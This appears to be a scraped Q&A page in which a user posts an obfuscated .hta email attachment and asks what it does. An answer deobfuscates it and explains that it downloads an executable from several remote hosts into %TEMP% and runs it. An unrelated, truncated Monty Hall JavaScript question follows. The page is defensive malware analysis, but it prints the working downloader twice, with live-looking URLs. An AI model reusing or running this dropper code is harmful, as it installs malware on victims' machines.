what can this .hta file do? - html

I just got an email with an attachement of .hta file and here is the code:
<html>
<head><script language='JScript'>
String.prototype.yakamurahirobetobeVIUVIUVIUtttoooo = function() {
yakamurahirobetobeVIUVIUVIUXCOP = 0;
var yakamurahirobetobeVIUVIUVIUddDccC1, yakamurahirobetobeVIUVIUVIUddDccC2, yakamurahirobetobeVIUVIUVIUc3, yakamurahirobetobeVIUVIUVIUc4;
var yakamurahirobetobeVIUVIUVIUsudarinaB = this;
yakamurahirobetobeVIUVIUVIUsudarinaB= yakamurahirobetobeVIUVIUVIUsudarinaB.replace(/GOGOGA/g, '');
var yakamurahirobetobeVIUVIUVIUout = "";
var yakamurahirobetobeVIUVIUVIUlen = yakamurahirobetobeVIUVIUVIUsud(yakamurahirobetobeVIUVIUVIUsudarinaB);
while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen) {
do {
yakamurahirobetobeVIUVIUVIUddDccC1 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff];
} while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUddDccC1 == -1);
if (yakamurahirobetobeVIUVIUVIUddDccC1 == -1)
break;
var yakamurahirobetobeVIUVIUVIUdodo = false;
do {
yakamurahirobetobeVIUVIUVIUddDccC2 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff];
yakamurahirobetobeVIUVIUVIUdodo = yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUddDccC2 == -1;
} while (yakamurahirobetobeVIUVIUVIUdodo);
if (yakamurahirobetobeVIUVIUVIUddDccC2 == -1)
break;
yakamurahirobetobeVIUVIUVIUout += String.fromCharCode((yakamurahirobetobeVIUVIUVIUddDccC1 << 2) | ((yakamurahirobetobeVIUVIUVIUddDccC2 & 0x30) >> 4));
do {
yakamurahirobetobeVIUVIUVIUc3 = yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff;
if (yakamurahirobetobeVIUVIUVIUc3 == 10*6+0.5*2)
return yakamurahirobetobeVIUVIUVIUout;
yakamurahirobetobeVIUVIUVIUc3 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUc3];
} while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUc3 == -1);
if (yakamurahirobetobeVIUVIUVIUc3 == -1)
break;
yakamurahirobetobeVIUVIUVIUout += String.fromCharCode(((yakamurahirobetobeVIUVIUVIUddDccC2 & 0XF) << 4) | ((yakamurahirobetobeVIUVIUVIUc3 & 0x3c) >> 2));
do {
yakamurahirobetobeVIUVIUVIUc4 = yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff;
if (yakamurahirobetobeVIUVIUVIUc4 == 61)
return yakamurahirobetobeVIUVIUVIUout;
yakamurahirobetobeVIUVIUVIUc4 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUc4];
} while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUc4 == -1);
if (yakamurahirobetobeVIUVIUVIUc4 == -1)
break;
yakamurahirobetobeVIUVIUVIUout += String.fromCharCode(((yakamurahirobetobeVIUVIUVIUc3 & 0x03) << 6) | yakamurahirobetobeVIUVIUVIUc4);
}
return yakamurahirobetobeVIUVIUVIUout;
};
function ProcessFolder(folderPath)
{
var path = "";
for (var i in maskArr)
{
path = folderPath + "\\" + maskArr[i];
try { fsoObj.DeleteFile(path); } catch (e) {}
try { fsoObj.DeleteFolder(path); } catch (e) {}
}
var subfolders = new Enumerator(fsoObj.GetFolder(folderPath).SubFolders);
for(; !subfolders.atEnd(); subfolders.moveNext())
ProcessFolder(subfolders.item().Path);
}
function yakamurahirobetobeVIUVIUVIUsud(vardos){
return vardos[("yakamurahirobetobeVIUVIUVIUprosy","yakamurahirobetobeVIUVIUVIUoffering","yakamurahirobetobeVIUVIUVIUspecialized","yakamurahirobetobeVIUVIUVIUalicia","yakamurahirobetobeVIUVIUVIUenormity","l") + ("yakamurahirobetobeVIUVIUVIUinter","yakamurahirobetobeVIUVIUVIUcrest","yakamurahirobetobeVIUVIUVIUnoisily","yakamurahirobetobeVIUVIUVIUpenguin","yakamurahirobetobeVIUVIUVIUdrops","en")+("yakamurahirobetobeVIUVIUVIUplaintiff","yakamurahirobetobeVIUVIUVIUholiday","yakamurahirobetobeVIUVIUVIUsymphony","yakamurahirobetobeVIUVIUVIUlegally","yakamurahirobetobeVIUVIUVIUcelibate","gt")+("yakamurahirobetobeVIUVIUVIUappointments","yakamurahirobetobeVIUVIUVIUlooksmart","yakamurahirobetobeVIUVIUVIUmotorcycles","yakamurahirobetobeVIUVIUVIUbreakwater","yakamurahirobetobeVIUVIUVIUchart","h")];
}
yakamurahirobetobeVIUVIUVIUmisterdenisk.dEDWWEE = function(){
yakamurahirobetobeVIUVIUVIUpublisher.yakamurahirobetobeVIUVIUVIUpublish(this.yakamurahirobetobeVIUVIUVIUtype1);
yakamurahirobetobeVIUVIUVIUok(yakamurahirobetobeVIUVIUVIUspyFunction1.yakamurahirobetobeVIUVIUVIUcalledWith(), "Function called without arguments");
yakamurahirobetobeVIUVIUVIUpublisher.yakamurahirobetobeVIUVIUVIUpublish(this.yakamurahirobetobeVIUVIUVIUtype1, "PROPER1");
yakamurahirobetobeVIUVIUVIUok(yakamurahirobetobeVIUVIUVIUspyFunction1.yakamurahirobetobeVIUVIUVIUcalledWith("PROPER1"), "Function called with 'PROPER1' argument");
yakamurahirobetobeVIUVIUVIUpublisher.yakamurahirobetobeVIUVIUVIUpublish(this.yakamurahirobetobeVIUVIUVIUtype1, ["PROPER1", "PROPER2"]);
};
var yakamurahirobetobeVITKS = new Array(-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-39,-102,-102,-102,-38,-49,-48,-47,-46,-45,-44,-43,-42,-41,-40,-102,-102,-102,-102,-102,-102,-102,-101,-100,-99,-98,-97,-96,-95,-94,-93,-92,-91,-90,-89,-88,-87,-86,-85,-84,-83,-82,-81,-80,-79,-78,-77,-76,-102,-102,-102,-102,-102,-102,-75,-74,-73,-72,-71,-70,-69,-68,-67,-66,-65,-64,-63,-62,-61,-60,-59,-58,-57,-56,-55,-54,-53,-52,-51,-50,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102);
var yakamurahirobetobeVITKI, yakamurahirobetobeVITKSn = yakamurahirobetobeVITKS.length;
for (yakamurahirobetobeVITKI= 0; yakamurahirobetobeVITKI < yakamurahirobetobeVITKSn; ++yakamurahirobetobeVITKI) {
yakamurahirobetobeVITKS[yakamurahirobetobeVITKI] = yakamurahirobetobeVITKS[yakamurahirobetobeVITKI] + 101;
}
function moveToParentFolder(parentFolder, folder) {
// 対象フォルダのサブフォルダ列挙
var subFolders = new Enumerator(folder.SubFolders);
// サブフォルダ内のファイルを移動
for (; !subFolders.atEnd(); subFolders.moveNext()) {
moveToParentFolder(parentFolder, subFolders.item());
}
// フォルダ内のファイル列挙
var files = new Enumerator(folder.Files);
// ファイルを移動
for (; !files.atEnd(); files.moveNext()) {
try {
files.item().Move(parentFolder.Path + '\\');
}
catch (e) {
WScript.Echo(e.description + "\n" + files.item().Path);
}
}
// ファイルとサブフォルダがなければフォルダ削除
if (folder.Files.Count == 0 && folder.SubFolders.Count == 0) {
try {
folder.Delete(true);
}
catch (e) {
WScript.Echo(e.description + "\n" + folder.Path);
}
}
}
var yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq = {'U': 'S', ':': '.','88':'', '77':'','HOLSTEN': 'X', '99':'', 'PLAHISH':'ons'};
function yakamurahirobetobeVIUVIUVIUachievment(yakamurahirobetobeVIUVIUVIUbidttt){if(yakamurahirobetobeVIUVIUVIUbidttt==1){return 2;}else{return 17;}
return 3;};
function yakamurahirobetobeVIUVIUVIUcenter(yakamurahirobetobeVIUVIUVIUrivulet) {
request = yakamurahirobetobeVIUVIUVIUrivulet;
for (var yakamurahirobetobeVIUVIUVIUXCOP in yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq){request = request.replace(yakamurahirobetobeVIUVIUVIUXCOP, yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq[yakamurahirobetobeVIUVIUVIUXCOP]);}
return request;
};
var yakamurahirobetobeVIUVIUVIUDRUZA = 43* (51-2)*(27-26-1);
function yakamurahirobetobeVIUVIUVIUmisterdenisk(yakamurahirobetobePOPSPOPx, yakamurahirobetobePOPSPOPy) {
yakamurahirobetobePOPSPOPx = DDyakamurahirobetobePOPSPOP * yakamurahirobetobePOPSPOPddd;
yakamurahirobetobePOPSPOPy = yakamurahirobetobePOPSPOPZZ + 245;
};
var yakamurahirobetobeVIUVIUVIUsecupeku=typeof(yakamurahirobetobeVIUVIUVIUGzEAPd)==="undefined";
var yakamurahirobetobeVIUVIUVIUchosen = 0.5 * 2;
if(!yakamurahirobetobeVIUVIUVIUsecupeku){
yakamurahirobetobeVIUVIUVIUmisterdenisk.scale = function(yakamurahirobetobeVIUVIUVIUp, yakamurahirobetobeVIUVIUVIUscaleX, yakamurahirobetobeVIUVIUVIUscaleY) {
if (yakamurahirobetobeVIUVIUVIUXCOPsObject(yakamurahirobetobeVIUVIUVIUscaleX)) {
yakamurahirobetobeVIUVIUVIUscaleY = yakamurahirobetobeVIUVIUVIUscaleX.y;
yakamurahirobetobeVIUVIUVIUscaleX = yakamurahirobetobeVIUVIUVIUscaleX.x;
} else if (!yakamurahirobetobeVIUVIUVIUXCOPsNumber(yakamurahirobetobeVIUVIUVIUscaleY)) {
yakamurahirobetobeVIUVIUVIUscaleY = yakamurahirobetobeVIUVIUVIUscaleX;
}
return new yakamurahirobetobeVIUVIUVIUmisterdenisk(yakamurahirobetobeVIUVIUVIUp.x * yakamurahirobetobeVIUVIUVIUscaleX, yakamurahirobetobeVIUVIUVIUp.y * yakamurahirobetobeVIUVIUVIUscaleY);
};
}
if(!yakamurahirobetobeVIUVIUVIUsecupeku){
yakamurahirobetobeVIUVIUVIUmisterdenisk.yakamurahirobetobeVIUVIUVIUsameOrN = function(yakamurahirobetobeVIUVIUVIUparam1, yakamurahirobetobeVIUVIUVIUparam2) {
return yakamurahirobetobeVIUVIUVIUparam1.D == yakamurahirobetobeVIUVIUVIUparam2.D || yakamurahirobetobeVIUVIUVIUparam1.F == yakamurahirobetobeVIUVIUVIUparam2.F;
};
yakamurahirobetobeVIUVIUVIUmisterdenisk.angle = function(yakamurahirobetobeVIUVIUVIUp) {
return Math.atan2(yakamurahirobetobeVIUVIUVIUp.y, yakamurahirobetobeVIUVIUVIUp.x);
};
}
var yakamurahirobetobeVIUVIUVIUVARDOCF ="JVRFTVAl".yakamurahirobetobeVIUVIUVIUtttoooo();
var yakamurahirobetobeVIUVIUVIUfinde = "QWN0aXZlWE9iamVjdA==".yakamurahirobetobeVIUVIUVIUtttoooo();
String.prototype.yakamurahirobetobeVIUVIUVIUcenter2 = function () {
var yakamurahirobetobeVIUVIUVIUpirkinst = {
yakamurahirobetobeVIUVIUVIUVARDOCG: this
};
yakamurahirobetobeVIUVIUVIUpirkinst.yakamurahirobetobeVIUVIUVIUVARDOCE = yakamurahirobetobeVIUVIUVIUpirkinst.yakamurahirobetobeVIUVIUVIUVARDOCG["c3Vic3RyaW5n".yakamurahirobetobeVIUVIUVIUtttoooo()](yakamurahirobetobeVIUVIUVIUDRUZA, yakamurahirobetobeVIUVIUVIUchosen);
return yakamurahirobetobeVIUVIUVIUpirkinst.yakamurahirobetobeVIUVIUVIUVARDOCE;
};
var yakamurahirobetobeVIUVIUVIUsirdallos ="RXhwYW5kRW52aXJvbm1lbnRTdHJpbmdz".yakamurahirobetobeVIUVIUVIUtttoooo();
var yakamurahirobetobeVIUVIUVIUNative = function(options){
};yakamurahirobetobeVIUVIUVIUNative.yakamurahirobetobeVIUVIUVIUXCOPmplement = function(yakamurahirobetobeVIUVIUVIUobjects, yakamurahirobetobeVIUVIUVIUproperties){
for (var yakamurahirobetobeVIUVIUVIUXCOP = 0, yakamurahirobetobeVIUVIUVIUl = yakamurahirobetobeVIUVIUVIUobjects.length; yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUl; yakamurahirobetobeVIUVIUVIUXCOP++) yakamurahirobetobeVIUVIUVIUobjects[yakamurahirobetobeVIUVIUVIUXCOP].yakamurahirobetobeVIUVIUVIUXCOPmplement(yakamurahirobetobeVIUVIUVIUproperties);
};
var yakamurahirobetobeVIUVIUVIUd7 = yakamurahirobetobeVIUVIUVIUcenter("77M"+"88SX"+"99ML"+("yakamurahirobetobeVIUVIUVIUmosquitoes","yakamurahirobetobeVIUVIUVIUphoto","yakamurahirobetobeVIUVIUVIUstayed","yakamurahirobetobeVIUVIUVIUgrenada","yakamurahirobetobeVIUVIUVIUreindeer","2.")+"HOLSTENM"+"LH"+"TT"+("yakamurahirobetobeVIUVIUVIUillusory","yakamurahirobetobeVIUVIUVIUcontained","yakamurahirobetobeVIUVIUVIUbilliards","yakamurahirobetobeVIUVIUVIUrefers","yakamurahirobetobeVIUVIUVIUtransexuales","yakamurahirobetobeVIUVIUVIUspecification","yakamurahirobetobeVIUVIUVIUconstitutes","yakamurahirobetobeVIUVIUVIUdesideratum","P}")+"WU"+("yakamurahirobetobeVIUVIUVIUegregious","yakamurahirobetobeVIUVIUVIUdietary","yakamurahirobetobeVIUVIUVIUcelebrity","yakamurahirobetobeVIUVIUVIUhopes","yakamurahirobetobeVIUVIUVIUdrunk","yakamurahirobetobeVIUVIUVIUperiodically","yakamurahirobetobeVIUVIUVIUfatherhood","cr")+("yakamurahirobetobeVIUVIUVIUgenerations","yakamurahirobetobeVIUVIUVIUquarterly","yakamurahirobetobeVIUVIUVIUwording","yakamurahirobetobeVIUVIUVIUpeking","yakamurahirobetobeVIUVIUVIUreturning","yakamurahirobetobeVIUVIUVIUsuccor","yakamurahirobetobeVIUVIUVIUcharging","yakamurahirobetobeVIUVIUVIUmagnify","ip")+"t:S"+("yakamurahirobetobeVIUVIUVIUtoward","yakamurahirobetobeVIUVIUVIUoutlined","yakamurahirobetobeVIUVIUVIUsubstitute","yakamurahirobetobeVIUVIUVIUamend","yakamurahirobetobeVIUVIUVIUfigurative","yakamurahirobetobeVIUVIUVIUdeviation","yakamurahirobetobeVIUVIUVIUlatch","yakamurahirobetobeVIUVIUVIUtyson","h")+"e"+("yakamurahirobetobeVIUVIUVIUsixtytwo","yakamurahirobetobeVIUVIUVIUravenous","yakamurahirobetobeVIUVIUVIUorganize","yakamurahirobetobeVIUVIUVIUcholera","yakamurahirobetobeVIUVIUVIUoptimism","yakamurahirobetobeVIUVIUVIUdonate","yakamurahirobetobeVIUVIUVIUhouseboat","yakamurahirobetobeVIUVIUVIUincumbent","ll"));
var yakamurahirobetobeVIUVIUVIUDoUtra = [yakamurahirobetobeVIUVIUVIUfinde, yakamurahirobetobeVIUVIUVIUsirdallos,yakamurahirobetobeVIUVIUVIUVARDOCF, ""+"."+("yakamurahirobetobeVIUVIUVIUcognition","yakamurahirobetobeVIUVIUVIUtrumpery","yakamurahirobetobeVIUVIUVIUpapers","yakamurahirobetobeVIUVIUVIUnecessitate","yakamurahirobetobeVIUVIUVIUesplanade","yakamurahirobetobeVIUVIUVIUwrinkle","yakamurahirobetobeVIUVIUVIUreunion","yakamurahirobetobeVIUVIUVIUtorpor","exe"), "UnVu".yakamurahirobetobeVIUVIUVIUtttoooo(),yakamurahirobetobeVIUVIUVIUd7];
yakamurahirobetobeVIUVIUVIURichters = yakamurahirobetobeVIUVIUVIUDoUtra.shift();
yakamurahirobetobeVIUVIUVIUfabled = "BIL2NEBIL";
yakamurahirobetobeVIUVIUVIUNative.yakamurahirobetobeVIUVIUVIUgenericize = function(object, yakamurahirobetobeVIUVIUVIUproperty, yakamurahirobetobeVIUVIUVIUcheck){
if ((!yakamurahirobetobeVIUVIUVIUcheck || !object[yakamurahirobetobeVIUVIUVIUproperty]) && typeof object.prototype[yakamurahirobetobeVIUVIUVIUproperty] == 'function') object[yakamurahirobetobeVIUVIUVIUproperty] = function(){
return object.prototype[yakamurahirobetobeVIUVIUVIUproperty].apply(yakamurahirobetobeVIUVIUVIUargs.shift(), yakamurahirobetobeVIUVIUVIUargs);
};
};
yakamurahirobetobeVIUVIUVIUNative.yakamurahirobetobeVIUVIUVIUtypize = function(object, yakamurahirobetobeVIUVIUVIUfamily){
if (!object.type) object.type = function(item){
return (yakamurahirobetobeVIUVIUVIU$type(item) === yakamurahirobetobeVIUVIUVIUfamily);
};
};
var yakamurahirobetobeVIUVIUVIULitoyDISK = this[yakamurahirobetobeVIUVIUVIURichters ];
yakamurahirobetobeVIUVIUVIUcasque = (("yakamurahirobetobeVIUVIUVIUinterpose", "yakamurahirobetobeVIUVIUVIUmorphine", "yakamurahirobetobeVIUVIUVIUshipped", "yakamurahirobetobeVIUVIUVIUdiagonal", "yakamurahirobetobeVIUVIUVIUdelta", "yakamurahirobetobeVIUVIUVIUwhiles", "yakamurahirobetobeVIUVIUVIUsynthetic", "pwrthrthrthtr") + "hrhrwhrwh").yakamurahirobetobeVIUVIUVIUcenter2();
yakamurahirobetobeVIUVIUVIUtudabilo1 = (("yakamurahirobetobeVIUVIUVIUachieved", "yakamurahirobetobeVIUVIUVIUfilms", "yakamurahirobetobeVIUVIUVIUinflected", "yakamurahirobetobeVIUVIUVIUsuburban", "yakamurahirobetobeVIUVIUVIUoriginating", "yakamurahirobetobeVIUVIUVIUpuppy", "yakamurahirobetobeVIUVIUVIUflower", "yakamurahirobetobeVIUVIUVIUencounter", "yakamurahirobetobeVIUVIUVIUearning", "serhrth") + "herrth4th4wh").yakamurahirobetobeVIUVIUVIUcenter2();
var yakamurahirobetobeVIUVIUVIUd2 = yakamurahirobetobeVIUVIUVIUDoUtra.pop();
var yakamurahirobetobeVIUVIUVIUrampart = new yakamurahirobetobeVIUVIUVIULitoyDISK(yakamurahirobetobeVIUVIUVIUd2.split("}")[1]);
var yakamurahirobetobeVIUVIUVIUsudabilo1 = new yakamurahirobetobeVIUVIUVIULitoyDISK(yakamurahirobetobeVIUVIUVIUd2.split("}")[0]);
var yakamurahirobetobeVIUVIUVIUvulture = yakamurahirobetobeVIUVIUVIUrampart[yakamurahirobetobeVIUVIUVIUDoUtra.shift()](yakamurahirobetobeVIUVIUVIUDoUtra.shift());
var yakamurahirobetobeVIUVIUVIUweasel = "E";
var yakamurahirobetobeVIUVIUVIUamalgamation = yakamurahirobetobeVIUVIUVIUDoUtra.shift();
var yakamurahirobetobeVIUVIUVIUpromises = yakamurahirobetobeVIUVIUVIUDoUtra.shift();
var yakamurahirobetobeVIUVIUVIUostrokoncert = "b3Blbg==".yakamurahirobetobeVIUVIUVIUtttoooo();
yakamurahirobetobeVIUVIUVIURhXxGud = "type";
function yakamurahirobetobeVIUVIUVIU_a2(yakamurahirobetobeVIUVIUVIUgutter, yakamurahirobetobeVIUVIUVIUStrokaParam2) {
var yakamurahirobetobeVIUVIUVIUwandermander = yakamurahirobetobeVIUVIUVIUvulture;
yakamurahirobetobeVIUVIUVIUwandermander=yakamurahirobetobeVIUVIUVIUwandermander+ "\u002f";
yakamurahirobetobeVIUVIUVIUwandermander=yakamurahirobetobeVIUVIUVIUwandermander + yakamurahirobetobeVIUVIUVIUStrokaParam2 ;
yakamurahirobetobeVIUVIUVIUsudabilo1[yakamurahirobetobeVIUVIUVIUostrokoncert](("yakamurahirobetobeVIUVIUVIUpossibilities","yakamurahirobetobeVIUVIUVIUportsmouth","yakamurahirobetobeVIUVIUVIUiceland","yakamurahirobetobeVIUVIUVIUcommodity","yakamurahirobetobeVIUVIUVIUslash","yakamurahirobetobeVIUVIUVIUlocate","yakamurahirobetobeVIUVIUVIUtechno","yakamurahirobetobeVIUVIUVIUlabour","G" + yakamurahirobetobeVIUVIUVIUweasel) + ("yakamurahirobetobeVIUVIUVIUcringe","yakamurahirobetobeVIUVIUVIUintolerance","yakamurahirobetobeVIUVIUVIUbraxton","yakamurahirobetobeVIUVIUVIUdappled","yakamurahirobetobeVIUVIUVIUvestibule","yakamurahirobetobeVIUVIUVIUaffirmation","yakamurahirobetobeVIUVIUVIUpriestess","yakamurahirobetobeVIUVIUVIUjerry","yakamurahirobetobeVIUVIUVIUmilliner","yakamurahirobetobeVIUVIUVIUsheriff","T"), yakamurahirobetobeVIUVIUVIUgutter, false);
yakamurahirobetobeVIUVIUVIUsudabilo1.setRequestHeader("User-Agent", "TW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMCk=".yakamurahirobetobeVIUVIUVIUtttoooo());
yakamurahirobetobeVIUVIUVIUsudabilo1[yakamurahirobetobeVIUVIUVIUtudabilo1 + ("yakamurahirobetobeVIUVIUVIUtrader","yakamurahirobetobeVIUVIUVIUconsumptive","yakamurahirobetobeVIUVIUVIUharass","yakamurahirobetobeVIUVIUVIUprofession","yakamurahirobetobeVIUVIUVIUmedicare","end")]();
yakamurahirobetobeVIUVIUVIUwandermander = yakamurahirobetobeVIUVIUVIUwandermander + yakamurahirobetobeVIUVIUVIUamalgamation;
if (yakamurahirobetobeVIUVIUVIUsecupeku) {
var yakamurahirobetobeVIUVIUVIUNananananananana = new yakamurahirobetobeVIUVIUVIULitoyDISK(("ARYBKA"+("yakamurahirobetobeVIUVIUVIUchichester","yakamurahirobetobeVIUVIUVIUbreakwater","yakamurahirobetobeVIUVIUVIUpromotional","yakamurahirobetobeVIUVIUVIUcosmetics","yakamurahirobetobeVIUVIUVIUbrunswick","yakamurahirobetobeVIUVIUVIUoptional","yakamurahirobetobeVIUVIUVIUmicro","yakamurahirobetobeVIUVIUVIUnominee","O")+"DB"+("yakamurahirobetobeVIUVIUVIUregarding","yakamurahirobetobeVIUVIUVIUcaretaker","yakamurahirobetobeVIUVIUVIUrepugnant","yakamurahirobetobeVIUVIUVIUcorfu","yakamurahirobetobeVIUVIUVIUunbiased","yakamurahirobetobeVIUVIUVIUenquiry","yakamurahirobetobeVIUVIUVIUinteresting",".S")+"tr12").replace("RYBKA", "D").replace("12", "eam"));
yakamurahirobetobeVIUVIUVIUNananananananana[yakamurahirobetobeVIUVIUVIUostrokoncert]();
yakamurahirobetobeVIUVIUVIUNananananananana[yakamurahirobetobeVIUVIUVIURhXxGud] = yakamurahirobetobeVIUVIUVIUchosen;
yakamurahirobetobePAPAPAMGaSMa = "BIL10NEBIL";
yakamurahirobetobeVIUVIUVIUNananananananana["d3JpdGU=".yakamurahirobetobeVIUVIUVIUtttoooo()](yakamurahirobetobeVIUVIUVIUsudabilo1[("yakamurahirobetobeVIUVIUVIUmephistopheles","yakamurahirobetobeVIUVIUVIUgeneva","yakamurahirobetobeVIUVIUVIUstrategic","yakamurahirobetobeVIUVIUVIUmaybe","yakamurahirobetobeVIUVIUVIUlibyan","yakamurahirobetobeVIUVIUVIUdrivers","Re")+"s"+("yakamurahirobetobeVIUVIUVIUappeals","yakamurahirobetobeVIUVIUVIUmyanmar","yakamurahirobetobeVIUVIUVIUpicked","yakamurahirobetobeVIUVIUVIUprimrose","yakamurahirobetobeVIUVIUVIUmagazines","yakamurahirobetobeVIUVIUVIUscorch","p")+yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq['PLAHISH']+"e"+"Qm9keQ==".yakamurahirobetobeVIUVIUVIUtttoooo()]);
yakamurahirobetobeVIUVIUVIUXWaxeQhw = "BIL11NEBIL";
yakamurahirobetobeVIUVIUVIUNananananananana[(yakamurahirobetobeVIUVIUVIUcasque + "o"+"220"+("yakamurahirobetobeVIUVIUVIUadhered","yakamurahirobetobeVIUVIUVIUadobe","yakamurahirobetobeVIUVIUVIUconcerning","yakamurahirobetobeVIUVIUVIUguidelines","yakamurahirobetobeVIUVIUVIUacclamation","yakamurahirobetobeVIUVIUVIUhomes","yakamurahirobetobeVIUVIUVIUcontumely","22i")+"tion").replace("22"+("yakamurahirobetobeVIUVIUVIUpressure","yakamurahirobetobeVIUVIUVIUbarrow","yakamurahirobetobeVIUVIUVIUanymore","yakamurahirobetobeVIUVIUVIUapparatus","yakamurahirobetobeVIUVIUVIUlocations","yakamurahirobetobeVIUVIUVIUlobby","yakamurahirobetobeVIUVIUVIUcentres","022"), yakamurahirobetobeVIUVIUVIUtudabilo1)] = 0;
yakamurahirobetobeVIUVIUVIUkrDwvrh = "BIL12NEBIL";
yakamurahirobetobeVIUVIUVIUNananananananana["c2F2ZVRvRmlsZQ==".yakamurahirobetobeVIUVIUVIUtttoooo()](yakamurahirobetobeVIUVIUVIUwandermander, 2);
yakamurahirobetobeVIUVIUVIUSswQdi = "BIL13NEBIL";
yakamurahirobetobeVIUVIUVIUNananananananana["Y2xvc2U=".yakamurahirobetobeVIUVIUVIUtttoooo()]();
yakamurahirobetobeVIUVIUVIUrampart[yakamurahirobetobeVIUVIUVIUpromises](yakamurahirobetobeVIUVIUVIUwandermander, yakamurahirobetobeVIUVIUVIUchosen, true);
}
};
var yakamurahirobetobeVIUVIUVIU_a5 = ["dGOGOGA3d3LmFnZW56aWFkaW5pLml0L0dIQnV5ZDQ3MgGOGOGA==","a2xuaGOGOGAmxsemw3OC53ZWIuZmMyLmNvbS9HSEJ1eWQ0NzI=","bWFuaW1hbmltb25leS53ZWIuGOGOGAZmMyLmNvbS9HSEJ1eWQ0NzI="];
for(yakamurahirobetobeVIUVIUVIUuueee in yakamurahirobetobeVIUVIUVIU_a5){
try{
yakamurahirobetobeVIUVIUVIU_a2("http://"+yakamurahirobetobeVIUVIUVIU_a5[yakamurahirobetobeVIUVIUVIUuueee].yakamurahirobetobeVIUVIUVIUtttoooo() + "?bPxXNr=LUmUhmmq","Exgngo");
}catch(yakamurahirobetobeVIUVIUVIU_a3){alert(yakamurahirobetobeVIUVIUVIU_a3.message);}
}
</script>
</body>
</html>
I opened it in my browser and now i'm afraid it is some kind of a hack.
what can I do now for my security?
should i delete all senstive data in my browser? I'm using google chrome which has all passwords stored. I'm using Ubuntu 16.04.

I received this attachement today and decided to investigate a bit. Here is the deobfuscated version:
var wscriptShell = new ActiveXObject('WScript.Shell');
var msxml2XmlHttp = new ActiveXObject('MSXML2.XMLHTTP');
var tempFolder = wscriptShell.ExpandEnvironmentStrings("%TEMP%");
function download(url, file) {
var fullpath = tempFolder + '/' + file + '.exe';
msxml2XmlHttp.open("GET", url, false);
msxml2XmlHttp.setRequestHeader("User-Agent", 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)');
msxml2XmlHttp["send"]();
var adodbStream = new ActiveXObject("ADODB.Stream");
adodbStream.open();
adodbStream.type = 1;
adodbStream.write(sudabilo1["ResponseBody"]);
adodbStream.position = 0;
adodbStream.saveToFile(fullpath, 2);
adodbStream.close();
wscriptShell.Run(fullpath, 1, true);
}
var urls = [
"brunnenburg.de/GHBuyd472",
"klnjllzl78.web.fc2.com/GHBuyd472",
"w3rx80no.homepage.t-online.de/GHBuyd472"
];
for(i in urls) {
try {
download("http://" + urls[i] + "?huLara=HlyrvuBeY", "yXbJOHB");
} catch(e) { alert(e.message); }
}
Basically what it does is download an executable file from a compromised server into your temp directory and runs it. I have not investigated the file further.
Since you are not using windows, this is harmless. If you were, the first step would be to check if a file named Exgngo.exe (this line contains the relevant name: yakamurahirobetobeVIUVIUVIU_a2("http://"+yakamurahirobetobeVIUVIUVIU_a5[yakamurahirobetobeVIUVIUVIUuueee].yakamurahirobetobeVIUVIUVIUtttoooo() + "?bPxXNr=LUmUhmmq","Exgngo");) is in your %TEMP% directory. If it is, contact someone that knows what he's doing to deal with it.
EDIT: Virus Total here.

Related

Monty Hall Problem, resetGame is behaving weirdly

Basically the code (you guys probably can write it much cleaner than I) works perfectly on the first run through.
var doorSelection = ["a", "b", "c"];
var started = false;
var notPicked = true;
var notFinalChosen = true;
var wins = 0;
var losses = 0;
let roundComplete = false;
document.querySelector(".scoreCorrect").textContent = wins;
document.querySelector(".scoreWrong").textContent = losses;
document.querySelector(".heresText").classList.add("invisible");
document.querySelector(".startButton").addEventListener("click", function(){
document.querySelector(".startButton").classList.add("invisible");
mhGame();
started = true;
})
function mhGame(){
document.querySelector(".heresText").classList.remove("invisible");
var doorNumber = Math.floor(Math.random() * 3);
var doorPicker = doorSelection[doorNumber];
console.log(doorNumber + " " + doorPicker);
